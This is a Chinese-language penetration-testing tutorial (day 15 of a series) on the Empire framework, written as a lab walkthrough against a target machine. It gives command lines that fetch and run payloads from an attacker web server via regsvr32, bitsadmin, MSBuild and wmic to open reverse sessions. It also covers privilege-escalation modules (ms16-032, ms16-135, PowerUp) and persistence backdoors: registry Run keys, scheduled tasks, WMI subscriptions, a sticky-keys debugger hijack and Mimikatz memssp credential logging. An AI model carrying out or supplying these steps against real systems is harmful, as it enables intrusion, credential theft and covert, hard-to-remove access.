内网渗透 day15-empire(usestager用法、提权、持久化后门)
empire(usestager用法、提权、持久化后门)
本章前提:已成功设置监听器(如何设置监听器请看day14篇)
1. usestager的几种用法
windows/launcher_sct:
介绍:Regsvr32命令用于注册COM组件,是Windows系统提供的用来向系统注册控件或者卸载控件的命令,以命令行方式运行。WinXP及以上系统的regsvr32.exe在windows\system32文件夹下;2000系统的regsvr32.exe在winnt\system32文件夹下。
用法:regsvr32 [/u] [/s] [/n] [/i[:cmdline]] dllname
1) usestager windows/launcher_sct 进入windows/launcher_sct模块
2) 设置一下参数
set Listener kali set OutFile /var/www/html/xx.sct |
3) execute 执行
4) 在靶机上运行 regsvr32 /u /n /s /i:http://192.168.227.129/xx.sct scrobj.dll
5) 成功返回会话
windows/launcher_vbs:
远程下载:bitsadmin /transfer /n http://IP/xx.vbs path
1) usestager windows/launcher_vbs 进入windows/launcher_vbs模块
2) 设置一下参数
3) execute 执行
4) 在靶机上运行
bitsadmin /transfer n http://192.168.227.129/xx.vbs C:\Users\xxx\Desktop\xx.vbs
5) 靶机执行.vbs文件,成功反弹会话
windows/launcher_xml:
MSBuild是一个免费的开源构建工具集,用于管理本地C++代码.在Visual Studio2013之前,MSBuild是作为.NET框架的一部分,但是在其之后,MSBuild被绑定到了Visual Studio.所以,Visual Studio依赖于MSBuild,但是MSBuild并不依赖于Visual Studio。
用法:利用net4.0之后的版本中的MSBuild运行注入shellcode的xml文件反弹shell。
1) 跟前面两个操作一样生成xml文件到/var/www/html/文件夹下
2) 在靶机上下载该文件
3) 在靶机上cd到C:\Windows\Microsoft.NET\Framework64\v4.0.30319\使用MSBuild运行xml
4) 成功反弹会话
windows/wmic:
WMIC扩展WMI(Windows Management Instrumentation,Windows管理工具) ,提供了从命令行接口和批命令脚本执行系统管理的支持。
用法:wmic os get /format:"http://IP/xx.xsl"
1) 跟前面两个的操作步骤一样将生成的xsl存到html文件夹下
2) 在靶机上执行wmic os get /format:"http://192.168.227.129/xx.xsl"
3) 成功反弹会话
2. empire提权模块
uac和bypassuac在day14有介绍
本地提权
ms16-135:Win32k 信息泄漏漏洞
若要利用此漏洞,攻击者必须登录到受影响的系统并运行经特殊设计的应用程序。此安全更新 程序通过更正 Windows 内核处理内存地址的方式来修复这个漏洞。
searchmodule ms16-135 查找ms16-135模块
usemodule privesc/ms16-135 使用模块
设置完参数后执行
成功反弹拥有特权的会话
ms16-032:辅助登录特权提升漏洞
如果 Windows 辅助登录服务未能正确管理内存中的请求句柄,Microsoft Windows 中会存在 一个特权提升漏洞。 成功利用此漏洞的攻击者能够以管理员身份运行任意代码。
usemodule privesc/ms16-032 使用模块
设置完参数执行
成功返回有系统特权的会话
powershell/privesc/sherlock 查找Windows本地特权升级漏洞
usemodule privesc/sherlock 使用该模块
显示本地特权升级的漏洞
利用powerup进行提权
PowerUp是一个PowerShell工具,可协助Windows系统上的本地特权升级。它包含多种方法来 识别和滥用易受攻击的服务,以及DLL劫持机会,易受攻击的注册表设置和升级机会。它是PowerTools 的一部分,位于https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUp。Empire 在privesc / powerup / *模块中实现了PowerUp的升级功能 。
usemodule privesc/powerup/allchecks 检测是否可以利用powerup漏洞
显示存在漏洞
根据显示存在的漏洞利用对应模块
可以看到存在对服务可执行文件的配置不当权限(可通过service_exe_ *加以利用)
不过这边我都试过了一遍,不是很好用
3. 持久化后门
PowerBreach
介绍:PowerBreach是一系列内存中的PowerShell后门,可为各种选项提供触发器。
persistence/powerbreach/deaduser –接受用户名和关于用户名是否是域名(相对于本地帐户)的开关/标志。脚本每隔Sleep秒就会检查帐户是否仍然存在,如果不存在则触发登台逻辑。该后门不需要本地管理员权限。
理解:判断你设置的用户名是否存在(有没有被改名或者删除),当被改名的时候会就触发该脚本反弹shell
usemodule persistence/powerbreach/deaduser 使用模块
查看所需参数
设置相关参数
执行
把aaa改成了bbb
成功反弹shell
persistence/powerbreach/eventlog - 事件日志–按时间间隔查询安全事件日志,以查找具有唯一触发器值的事件。此后门DOES需要管理员权限才能访问安全事件日志。
usemodule persistence/powerbreach/eventlog* 使用模块
查看所需参数
设置相关参数
执行
打开靶机的eventvwr,当安全日志中存在HACKER(上面参数定义的可以自己更改)关键字时
成功反弹会话
由于是管理员权限留下的后门,所以返回的会话也拥有管理员权限
persistence/powerbreach /resolver –需要解析的主机名和触发IP。脚本每隔睡眠秒数检查一次主机名是否解析为触发IP,否则将触发暂存逻辑。该后门不需要本地管理员权限。
usemodule persistence/powerbreach/resolver 使用模块
查看所需参数
设置相关参数
执行
靶机上去访问一下127.0.0.1,让他进行解析
成功反弹shell
Userland
persistence/userland/ * 模块允许用户态,从重启的持久性(即无需管理权限)。如果指定了侦听器,则会自动生成Empire代理的登台代码并将其用作触发的脚本逻辑。
persistence/userland /registry –在HKCU:Software\Microsoft\Windows\CurrentVersion\Run中设置一个值,以在选择的任何存储机制下执行脚本。仅当该用户登录时,这将导致脚本运行。
usemodule persistence/userland/registry 使用模块
查看所需参数
设置相关参数
执行
将靶机注销重新登录,成功返回shell会话(这里用户登录的时候会有短暂的powershell弹框)
persistence/userland/schtask –配置计划的任务以在选择任何存储机制的情况下执行脚本。该脚本可以在DailyTime(HH:mm格式)下触发,或者在用户闲置IdleTime秒后触发
理解:这个是放注册表中的计划任务
usemodule persistence/userland/schtasks 使用模块
查看所需参数
设置相关参数
执行
将靶机注销重新登录,等设置的时间到,成功返回shell会话
Elevated
persistence/elevated/*模块允许重启的持久性从升高的上下文(即具有管理特权)。如果指定了侦听器,则会自动生成Empire代理的登台代码并将其用作触发的脚本逻辑。
理解:该模块是拥有管理员权限留下的拥有权限的后门
persistence/elevated/registry、persistence/elevated/schtask,这两个用法和之前的一样,只不过需要管理员权限
persistence/elevated/wmi–配置永久WMI订阅以激发存储的脚本逻辑。该脚本可以在DailyTime(HH:mm格式)或使用AtStartup启动系统时触发。这具有难以检测/去除的等级。
理解:这个是放注册表中的计划任务
usemodule persistence/elevated/wmi* 使用模块
查看所需参数
设置相关参数
执行
将靶机上验证wmi,在powershell中直接输入Get-WMIObject -Namespace root\Subscription -Class CommandLineEventConsumer -Filter “Name=’Updater’”
重启靶机,成功反弹有管理员权限的shell
misc
persistence/misc/debugger*-在empire3.6.0版本中把persistence/ debugger / * 模块整合到了persistence/misc/debugger*模块中。您可以为RDP提示符下登录前可访问的各种可执行文件设置“映像文件执行选项”(又名调试器)。默认情况下,调试器设置为cmd.exe,它使您可以触发通过RDP以SYSTEM身份运行的命令提示符,而无需实际登录计算机。您还可以使用Binary参数指定另一个二进制文件的路径。如果要调试器触发暂存器,请设置Listener参数。这将为指定的侦听器生成一个合适的暂存器,并将其存储到指定的RegPath中。然后,您可以从RDP提示预身份验证中触发这些登台程序,但是请注意,一旦关闭RDP提示(在不活动30秒后发生),登台的代理将被杀死。
usemodule persistence/misc/debugger* 使用模块
查看所需参数
设置参数
执行
在靶机win7登录界面按5次shift,有个powershell的框一闪而过
成功返回会话,并且是管理员权限
persistence/misc/memssp –安装Mimikatz的memssp模块,该模块应将所有身份验证事件注销到C:\ Windows \ System32 \ mimisla.log。应该重新引导持久。
usemodule persistence/misc/memssp* 使用模块
直接运行就可以了
靶机对应目录生成了mimisla.log文件
persistence/misc/disable_machine_acct_change –禁止目标更改其计算机帐户密码。如果首先运行mimikatz/credentials/logonpasswords来转储计算机帐户密码(帐户以$结尾),则您应该具有对给定系统的持久访问权限。清理选项也可用。
使用该模块后直接运行就可以了